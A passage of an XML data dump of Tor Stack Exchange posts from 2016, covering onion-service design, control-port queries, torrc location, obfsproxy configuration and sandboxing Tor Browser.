party.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet another relay (&lt;code&gt;Rendezvous Point&lt;/code&gt;) know that someone &lt;em&gt;(but not who)&lt;/em&gt; is talking to some hidden service &lt;em&gt;(but not which)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No single relay knows with certainty that they ever did talk or who either of the participants were nor what they spoke about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At &lt;em&gt;most&lt;/em&gt; the value of &quot;X&quot; is known by some HSDir(s).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2017-04-26T15:49:15.683" LastActivityDate="2017-04-26T15:49:15.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11846" PostTypeId="2" ParentId="10185" CreationDate="2016-06-14T20:06:12.313" Score="1" Body="&lt;p&gt;A Tor instance keeps track of the bytes written and read. This can be discovered by issuing the &lt;code&gt;GETINFO traffic/written&lt;/code&gt; and &lt;code&gt;GETINFO traffic/read&lt;/code&gt; requests over the control port (See: &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n480&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;control-spec.txt&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tools like &lt;a href=&quot;https://www.atagar.com/arm/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;arm&lt;/code&gt;&lt;/a&gt; already use this to periodically query the control port to measure the current inbound and outbound traffic of an instance of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bwauth's do indeed need some work, there have been problems of relays not gaining measurements due to overloaded bw-auths, there is also a problem in that measurement of relays that are geographically distant from the bwauths will tend to end up with worse measurements than those closer to it. This causes problems for geographic diversity of the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have ideas for improving the bw-auth process then you should submit them as a ticket at &lt;a href=&quot;https://trac.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/&lt;/a&gt; or the tor-dev mailing list at &lt;a href=&quot;https://lists.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://lists.torproject.org/&lt;/a&gt; but you're probably going to need to come to the table with your own research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for prior art, these might be a good starting point:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://svn.torproject.org/svn/projects/roadmaps/2009-03-11-performance.pdf&quot; rel=&quot;nofollow&quot;&gt;&quot;Performance Improvements on Tor&quot;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://svn.torproject.org/svn/projects/roadmaps/2009-07-24-measurements.pdf&quot; rel=&quot;nofollow&quot;&gt;&quot;EAGER: Privacy-preserving measurements of the Tor&#xA;network to improve performance and anonymity&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also the &lt;a href=&quot;https://gitweb.torproject.org/torflow.git/tree/NetworkScanners/BwAuthority/README.spec.txt&quot; rel=&quot;nofollow&quot;&gt;specification for the bw-auths&lt;/a&gt; which should outline how they currently operate and pre-existing tools as part of &lt;a href=&quot;https://gitweb.torproject.org/torflow.git/tree/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;torflow&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-14T20:06:12.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11847" PostTypeId="2" ParentId="11841" CreationDate="2016-06-14T20:46:05.677" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wm1HV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wm1HV.png&quot; alt=&quot;&amp;quot;reenable spacebar heating&amp;quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest Tor Browser update enabled the MediaSource video playing, this was set as default in Firefox 42.0, and thus when Tor Browser upgraded from 38 ESR to 45 ESR in 6.0 this change came into effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tickets &lt;a href=&quot;https://bugs.torproject.org/19200&quot; rel=&quot;nofollow noreferrer&quot;&gt;#19200&lt;/a&gt; and &lt;a href=&quot;https://bugs.torproject.org/19210&quot; rel=&quot;nofollow noreferrer&quot;&gt;#19210&lt;/a&gt; cover this new functionality, mostly in that previously high security level ensured that click-to-play was required before any media played.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is intended functionality. You may want to consider using a tool like &lt;a href=&quot;https://rg3.github.io/youtube-dl/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;youtube-dl&lt;/code&gt;&lt;/a&gt; as documented on the Tails FAQ: &lt;a href=&quot;https://tails.boum.org/support/faq/index.en.html#index31h2&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Can I download videos from websites?&quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-14T20:46:05.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11848" PostTypeId="2" ParentId="7514" CreationDate="2016-06-14T22:11:20.043" Score="3" Body="&lt;h3&gt;&amp;quot;the IP for other users to connect to?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;Onion services don't use IPs. You &lt;em&gt;should&lt;/em&gt; use SOCKS5's remote hostname functionality, this hands over the hostname to Tor and will ensure you do not try to resolve the onion address locally and potentially leak DNS. I have a simple C implementation of SOCKS5 intended for use with Tor &lt;a href=&quot;https://github.com/epidemics-scepticism/SOCKS&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;configure Tor to create a hidden service&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;You probably want to use the control port for this. You can create and maintain a connection to the control port and use the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n1333&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ADD_ONION&lt;/code&gt;&lt;/a&gt; request to create the onion. This will make the app more portable, one of the issues with &lt;a href=&quot;https://ricochet.im&quot; rel=&quot;nofollow noreferrer&quot;&gt;ricochet&lt;/a&gt; was that it (&lt;a href=&quot;https://github.com/ricochet-im/ricochet/commit/e350b46e1109f7fb9463fb6970f65cbbe12037a6&quot; rel=&quot;nofollow noreferrer&quot;&gt;until recently&lt;/a&gt;) came with its own copy of Tor and used that exclusively which mean in tor enforcing environments like &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix&lt;/a&gt; or &lt;a href=&quot;https://subgraph.com/sgos/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subgraph&lt;/a&gt; it resulted in Tor-over-Tor situations.&lt;/p&gt;&#xA;&lt;h3&gt;&amp;quot;Could I connect to [any] port [...] to avoid http requests?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;Yes, onion services are not exclusively http, it's just a very common use case for them. They can transport any kind of arbitrary TCP connection, as exampled by ricochet (mentioned above) which uses it's own protocol.&lt;/p&gt;&#xA;&lt;h3&gt;Some thoughts I'd like to add&lt;/h3&gt;&#xA;&lt;p&gt;Ricochet is already an extensible peer-to-peer service written in C++. You should consider making your functionality a general extension of ricochet. This will remove a lot of the effort on your part of re-inventing the wheel.&lt;/p&gt;&#xA;&lt;p&gt;Imagine a scenario where two users wish to establish a peer-to-peer channel over onions. Alice wants to talk to Bob, so Alice's client makes a connection to bob.onion. Alice is able to establish a connection and talk to Bob and Alice knows that she is talking to Bob with reasonable certainty because Bob has shown proof of ownership of the public key that the b.onion address is derived from...but how does Bob know that the incoming connection is from Alice? All Bob can see is a connection from his Tor instance to his service.&lt;/p&gt;&#xA;&lt;p&gt;Two possible solutions that are currently implemented are:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://modules.prosody.im/mod_onions.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;mod_onions&lt;/code&gt;&lt;/a&gt; for Prosody in XMPP. This uses a pre-existing XMPP extension &lt;a href=&quot;https://xmpp.org/extensions/xep-0220.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;XEP-0220&lt;/a&gt;. In this scenario, Bob provides the incoming claimed Alice with a &lt;a href=&quot;https://en.wikipedia.org/wiki/Cryptographic_nonce&quot; rel=&quot;nofollow noreferrer&quot;&gt;cryptographic nonce&lt;/a&gt; and then Bob makes a connection to Alice's onion. Bob then requests the nonce value through the outbound connection made, this proves that the incoming Alice connection and the connection he made out to Alice are, at least, controlled by the same entity. On DNS this protection is quite weak, on onions this is a much stronger form of verification.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/ricochet-im/ricochet/blob/master/doc/protocol.md#authhiddenservice&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ricochet&lt;/code&gt;&lt;/a&gt; instead requires that the incoming Alice connection take a 16 byte value provided by Bob concatenated with another 16 byte value provided by Alice as the key to an HMAC-SHA256 of Alice's onion address and Bob's onion address concatenated. This resulting hash is then signed by Alice's onion's private key. This signature then acts as proof that the incoming Alice owns the private key associated with Alice's onion address.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Be very careful when approaching these sorts of problems, rolling your own crypto is almost invariably bad, another reason to use preexisting solutions.&lt;/p&gt;&#xA;&lt;p&gt;Similarly be very careful writing C++ or any non-memory-safe language.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-06-15T01:43:11.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11849" PostTypeId="1" CreationDate="2016-06-14T23:18:18.097" Score="1" ViewCount="112" Body="&lt;p&gt;I do not know if I installed tor correctly. No icon to click on to start it. I have Console open as SU ending line #.&lt;/p&gt;&#xA;" OwnerUserId="13282" LastActivityDate="2016-06-15T06:24:49.423" Title="Do I start tor in firefox?" Tags="|tor-browser-bundle|firefox|" AnswerCount="1" CommentCount="1" ClosedDate="2016-06-15T06:25:06.830" ContentLicense="CC BY-SA 3.0" />
  <row Id="11851" PostTypeId="2" ParentId="11849" CreationDate="2016-06-15T00:38:51.680" Score="0" Body="&lt;p&gt;You should be using &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Tor Browser&lt;/code&gt;&lt;/a&gt;, as the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBOtherBrowser&quot; rel=&quot;nofollow&quot;&gt;Tor Project FAQ states&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In short, using any browser besides Tor Browser with Tor is a really bad idea.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Our efforts to work with the Chrome team to &lt;a href=&quot;https://blog.torproject.org/blog/google-chrome-incognito-mode-tor-and-fingerprinting&quot; rel=&quot;nofollow&quot;&gt;add missing APIs&lt;/a&gt; were unsuccessful, unfortunately. Currently, it is impossible to use other browsers and get the same level of protections as when using the Tor Browser.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Tor Browser&lt;/code&gt; or &lt;code&gt;Tor&lt;/code&gt; running purely as a client do not require &quot;su&quot; or root privileges, and infact you should avoid running &lt;em&gt;anything&lt;/em&gt; as root (or a privileged user) that doesn't explicitly require it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Follow the guide on the &lt;code&gt;Tor Browser&lt;/code&gt; link above, or use Micah's &lt;a href=&quot;https://github.com/micahflee/torbrowser-launcher&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;torbrowser-launcher&lt;/code&gt;&lt;/a&gt; if it's available, or use &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;. You should avoid trying to engineer your own solution.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-15T00:38:51.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11852" PostTypeId="2" ParentId="11807" CreationDate="2016-06-15T06:43:51.597" Score="1" Body="&lt;p&gt;Tor uses the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Directory Protocol&lt;/a&gt; to download information about the network. A description for the location &lt;code&gt;/tor/keys/fp/[hash refrence here]&lt;/code&gt; can be found at &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n3319&quot; rel=&quot;nofollow&quot;&gt;line 3319 of that specification&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   The key certificate for an authority whose authority identity fingerprint&#xA;   is &amp;lt;F&amp;gt; should be available at:&#xA;      http://&amp;lt;hostname&amp;gt;/tor/keys/fp/&amp;lt;F&amp;gt;.z&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see this information is available via HTTP. It can be found at the directory authorities. Atlas has a &lt;a href=&quot;https://atlas.torproject.org/#search/flag:authority&quot; rel=&quot;nofollow&quot;&gt;list of them&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides directory authorities also Tor relays can offer directory information. It might be the case that this specific relay was shut down while your Tor client wanted to download the information. You can check &lt;a href=&quot;https://exonerator.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Exonerator&lt;/a&gt; to see if it was a Tor relay.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-06-15T06:43:51.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11853" PostTypeId="1" AcceptedAnswerId="11862" CreationDate="2016-06-15T14:29:41.910" Score="1" ViewCount="36" Body="&lt;p&gt;In order to KISS I'd like to keep my &lt;code&gt;tor-browser&lt;/code&gt; directory on an OpenAFS (1.6.18) mount. OpenAFS doesn't support creation of sockets. How to configure &lt;code&gt;tor-browser&lt;/code&gt; to use another directory for the socket (I assume &lt;code&gt;tor&lt;/code&gt; is the only binary which needs one)? If that's impossible what else could I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On OpenAFS I can't start &lt;code&gt;tor-browser&lt;/code&gt; because tor fails to start. It doesn't produce a log which is likely a bug which I might investigate and report separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After moving the &lt;code&gt;tor-browser&lt;/code&gt; directory from OpenAFS mount to &lt;code&gt;btrfs&lt;/code&gt; it works as expected, but I don't find the socket with &lt;code&gt;find . -type s&lt;/code&gt; which I don't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;tor-browser&lt;/code&gt; 6.0.1 on Ubuntu 16.04&lt;/p&gt;&#xA;" OwnerUserId="5329" LastEditorUserId="5329" LastEditDate="2016-06-16T07:12:59.070" LastActivityDate="2016-07-27T14:04:48.963" Title="How to use tor-browser on OpenAFS?" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11857" PostTypeId="2" ParentId="11809" CreationDate="2016-06-15T19:48:43.703" Score="1" Body="&lt;p&gt;I guess I'll try to formulate a full answer to this.&lt;/p&gt;&#xA;&lt;h3&gt;Your privilege seperation is security theatre.&lt;/h3&gt;&#xA;&lt;p&gt;Running Tor Browser as another user inside of the same X environment means the Tor Browser, regardless of an UID it is run under, can influence anything you can through your desktop, as an example see mjg59's &lt;a href=&quot;https://mjg59.dreamwidth.org/42320.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&#xA;Circumventing Ubuntu Snap confinement&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Your packet filtering is misguided.&lt;/h3&gt;&#xA;&lt;p&gt;You said &lt;em&gt;&amp;quot;for example the &amp;quot;tor_browser&amp;quot; has only the right to use the http and https ports&amp;quot;&lt;/em&gt;. The Tor Browser only uses ports 9150 and 9151. 9150 is the SOCKS where connections to arbitrary ends-points can be negotiated. Restricting tor &amp;quot;&lt;code&gt;tor_browser&lt;/code&gt;&amp;quot; user ports 80 and 443 only restricts the selection of guards that the tor instance running as &amp;quot;&lt;code&gt;tor_browser&lt;/code&gt;&amp;quot; can make.&lt;/p&gt;&#xA;&lt;h3&gt;What should I do?&lt;/h3&gt;&#xA;&lt;p&gt;If you want to create a tails-like setup where a packet filter enforces tor-only traffic, then you should instead run tor as a system daemon under a low privileged user and allow it and only it to send traffic out to the internet, then configure your Tor Browser running as your user to connect to the system daemon. You can do this by following &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundleSAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;this guide&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;But I'd like better security still&lt;/h3&gt;&#xA;&lt;p&gt;You might consider using some of the modern sandboxing mechanisms built into the linux kernel. Create a new network namespace so the process only sees the local loopback device, create a read-only filesystem and mount a tmpfs with your copy of tor browser copied into it, use seccomp sandboxing (at least blacklisting if not whitelisting) to reduce the damage an exploit might do and any privilege escalation or lateral movement it might perform. You could also consider, along with these steps, using something like Xephyr or xpra to create a sandboxed X environment within your normal X environment. This would stop Tor Browser from being able to read your keystrokes to other windows or inserting its own keystrokes into other X windows. This is how &lt;a href=&quot;https://subgraph.com/sgos/graph/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subgraph&lt;/a&gt; approaches the problem.&lt;/p&gt;&#xA;&lt;p&gt;The alternative is to use a hypervisor and run entirely distinct operating systems to achieve the same effects at slightly more cost for more clean and distinct isolation, as per &lt;a href=&quot;https://www.qubes-os.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Qubes OS&lt;/a&gt; or &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Whonix&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-06-15T19:48:43.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11859" PostTypeId="1" CreationDate="2016-06-16T00:34:13.853" Score="1" ViewCount="110" Body="&lt;p&gt;I downloaded and reinstalled Tor browser many times to make it work but it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the installation is complete, I click Finish to launch Tor Browser's wizard, but nothing happens. Then I go to my Desktop and double click on the &quot;Start Tor Browser&quot; shortcut and nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Windows 10. How can I fix this problem?&lt;/p&gt;&#xA;" OwnerUserId="13297" LastActivityDate="2016-06-16T00:34:13.853" Title="&quot;Start Tor Browser&quot; shortcut don't respond when I double click it on my windows 10" Tags="|windows|" AnswerCount="0" CommentCount="2" ClosedDate="2016-06-19T22:55:19.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="11860" PostTypeId="2" ParentId="9303" CreationDate="2016-06-16T00:53:13.813" Score="1" Body="&lt;p&gt;The solution is to uninstall the dodgy &lt;code&gt;tor-browser&lt;/code&gt; package and either use &lt;a href=&quot;http://packages.ubuntu.com/search?keywords=torbrowser-launcher&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;torbrowser-launcher&lt;/code&gt;&lt;/a&gt; from the Ubuntu package repos or download Tor Browser directly from the &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Project website&lt;/a&gt; or &lt;a href=&quot;https://gettor.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;one of it's other sources&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is important, many of these &lt;code&gt;tor-browser&lt;/code&gt; packages ship in a form that makes it impossible for the native updater, running as the user, to update the tor browser and to compound this issue it's common that updates are severely delayed, if they happen &lt;em&gt;at all&lt;/em&gt;! This leaves users running old, vulnerable versions of Tor Browser &lt;em&gt;indefinitely&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-16T01:01:33.170" LastActivityDate="2016-06-16T01:01:33.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11862" PostTypeId="2" ParentId="11853" CreationDate="2016-06-16T07:22:07.303" Score="0" Body="&lt;p&gt;The fact that &lt;code&gt;find . -type s&lt;/code&gt; doesn't return a result indicates that this isn't an issue of sockets being unsupported by OpenAFS or involved at all. As it turned out OpenAFS changed permissions without my notice. After changing them back to the user who starts &lt;code&gt;tor-browser&lt;/code&gt;, it worked.&lt;/p&gt;&#xA;" OwnerUserId="5329" LastEditorUserId="5329" LastEditDate="2016-07-27T14:04:48.963" LastActivityDate="2016-07-27T14:04:48.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11866" PostTypeId="1" AcceptedAnswerId="11870" CreationDate="2016-06-16T12:58:02.990" Score="19" ViewCount="36176" Body="&lt;p&gt;I just installed the TorBrowser (v. 6.0.1) on my mac (OS 10.11.5) - went to the torproject page and downloaded the installer for mac. I am seeing instructions online about changing my torrc file in order to set which country I want to exit the Tor network from, but I can't find a file called torrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &quot;locate torrc&quot; but it doesn't find a file. I did find torrc-defaults in /Applications/TorBrowser.app/Contents/Resources/TorBrowser/Tor, but there's no plain old torrc file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor FAQ lists this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you installed Tor Browser, look for&#xA;  Browser/TorBrowser/Data/Tor/torrc inside your Tor Browser directory.&#xA;  On OS X, you must right-click or command-click on the Tor Browser&#xA;  icon, and select &quot;Show Package Contents&quot; before the Tor Browser&#xA;  directories become visible.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Tor puts the torrc file in /usr/local/etc/tor/torrc if you compiled&#xA;  tor from source, and /etc/tor/torrc or /etc/torrc if you installed a&#xA;  pre-built package.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've looked in all those places and I'm not finding a file called torrc.&lt;/p&gt;&#xA;" OwnerUserId="13303" LastEditorUserId="88" LastEditDate="2016-06-18T10:33:55.527" LastActivityDate="2018-03-11T20:02:59.543" Title="Can't find torrc file on Mac" Tags="|configuration|mac|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11870" PostTypeId="2" ParentId="11866" CreationDate="2016-06-16T18:15:57.650" Score="17" Body="&lt;p&gt;I found it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;~/Library/Application Support/TorBrowser-Data/torrc&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the info from a bug tracking ticket: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13252&quot; rel=&quot;noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/13252&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;https://tor.stackexchange.com/users/12737/canonizing-ironize&quot;&gt;https://tor.stackexchange.com/users/12737/canonizing-ironize&lt;/a&gt; who gave a pointer to the ticket in the answer to another question.&lt;/p&gt;&#xA;" OwnerUserId="13303" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-06-16T18:15:57.650" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11871" PostTypeId="2" ParentId="11866" CreationDate="2016-06-16T20:21:07.027" Score="2" Body="&lt;p&gt;I'm still curious why others find the TorBrowser-Data directory in ~/Library/Application Support/ while I have it in the same directory where I keep the TorBrowser.app (note same dir as the app &lt;em&gt;not&lt;/em&gt; in the app bundle).  I've moved my TorBrowser-Data dir into ~/Library/Application Support/ but I still need a symlink in the app folder to get to it.  Otherwise launching the app just recreates a fresh copy of the TorBrowser-Data dir.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it has something to do with the fact I use Snow Leopard 10.6.7.  It doesn't really bother me other than I'm just curious in the difference in behavior from others.&lt;/p&gt;&#xA;" OwnerUserId="13076" LastActivityDate="2016-06-16T20:21:07.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11873" PostTypeId="1" CreationDate="2016-06-16T20:57:02.787" Score="1" ViewCount="28" Body="&lt;p&gt;Tor browser has stopped working ( windows 10 ) worked ok but has suddenly stopped opening.! Have reinstalled it twice but it will not open.? task manager shows no tor process running.? Help please.&lt;/p&gt;&#xA;" OwnerUserId="13313" LastActivityDate="2016-06-16T20:57:02.787" Title="Tor has stopped working" Tags="|network-configuration|" AnswerCount="0" CommentCount="1" ClosedDate="2016-06-20T10:38:51.653" ContentLicense="CC BY-SA 3.0" />
  <row Id="11881" PostTypeId="2" ParentId="1239" CreationDate="2016-06-17T06:55:02.760" Score="1" Body="&lt;p&gt;During my research with Tor Browser and Tails version Fingerprinting I found out that there are many things that differ. You can for example request resource URL:s and check the error message returned. Since Tor button is included in the Tor Browser and includes CSS etc you can try them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For demo, view &lt;a href=&quot;https://tor.triop.se/&quot; rel=&quot;nofollow&quot;&gt;https://tor.triop.se/&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=ebCGj45Hiv8&quot; rel=&quot;nofollow&quot;&gt;Tor Browser and Tails Fingerprinting PoC Demo video&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4996" LastActivityDate="2016-06-17T06:55:02.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11884" PostTypeId="1" AcceptedAnswerId="11888" CreationDate="2016-06-17T15:21:35.247" Score="2" ViewCount="134" Body="&lt;p&gt;I tried to run tor in command line by running&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;service tor start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After seeing this message&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; * Starting tor daemon...                                                [ OK ] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to start &quot;obfsproxy managed&quot; but this error occurs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pyptlib.config.EnvError: neither TOR_PT_{SERVER,CLIENT}_TRANSPORTS set&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export TOR_PT_CLIENT_TRANSPORTS=&quot;PATH&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to set the variable but after that other errors occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I set all these variables manually? Isn't there any mechanism to set them automatically?&lt;/p&gt;&#xA;" OwnerUserId="13234" LastEditorDisplayName="user6671" LastEditDate="2019-02-21T22:33:39.830" LastActivityDate="2019-02-21T22:33:39.830" Title="ENVError while starting obfsproxy" Tags="|configuration|ubuntu|pluggable-transports|obfsproxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="11888" PostTypeId="2" ParentId="11884" CreationDate="2016-06-17T19:29:55.697" Score="2" Body="&lt;p&gt;&lt;code&gt;obfsproxy&lt;/code&gt; should be setup inside of torrc if you wish to use it with tor, it shouldn't be executed seperately. The &lt;code&gt;managed&lt;/code&gt; flag indicates that the opening process will be &quot;managing&quot; it, in this case the opening process is your shell and it's not providing the required configuration parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process for adding obfs3 bridges is outlined in this answer: &lt;a href=&quot;https://tor.stackexchange.com/a/6049/12737&quot;&gt;How to add obfs3 bridges in torrc?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2016-06-17T19:29:55.697" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11889" PostTypeId="2" ParentId="9670" CreationDate="2016-06-17T19:48:28.347" Score="2" Body="&lt;p&gt;Removing the reverse DNS doesn't matter because what the DNS used to be is sitting around in, for example the Rapid7 Sonar scans. They regularly scan the entire IPv4 address space's PTR records and publish the results. Your link to that server is baked into the internet and it will not go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes you will be linked by your payment data and following money trails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the anonymity properties of Tor, just disregard the server and use it for whatever. Run a relay but don't use it as part of your anonymity solution: &lt;strong&gt;this will fail!&lt;/strong&gt;. Trying to utilise resources directly attached to you as part of a system of anonymity is going to be problematic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Tor as it was intended to be used, your special-snowflake engineered &lt;em&gt;&quot;anonymity&quot; &quot;solution&quot;&lt;/em&gt; will only distinguish you from all other Tor users and make you less anonymous.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-17T19:48:28.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
